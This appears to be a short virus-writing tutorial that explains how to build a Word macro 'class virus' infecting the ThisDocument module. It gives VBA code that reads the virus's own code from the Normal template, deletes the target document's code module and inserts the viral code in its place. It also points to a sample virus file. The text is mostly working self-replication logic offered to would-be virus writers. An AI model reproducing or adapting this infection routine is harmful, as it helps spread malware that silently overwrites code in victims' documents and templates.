The class virus infects class moduls of a Word document. Classes are invisible in
the 'Tools-
macros' dialoge. I preferm to write class virii, wich infect the class
'ThisDocument'. This is
because this class is in EVERY document. I'll explain here how to write such virii.
Notice, that
this virii have a different infection method!
To get my own possition I use:
MyPos=ThisDocument.Name
The class of the ThisDocument, I want to infect, depends on MyPos.
Let's say MyPos="Normal.dot" so I take:
set
target=ActiveDocument.VBProject.VBComponents(1).CodeModule
The code for the infection:
With NormalTemplate.VBProject.VBComponents(1).CodeModule
VirusCode= .Lines(1, .CountOfLines)
End With
With target
.DeleteLines 1, .CountOfLines
.InsertLines 1, VirusCode
End With
Take a look at the file TDIE V2.0 at the Added.zip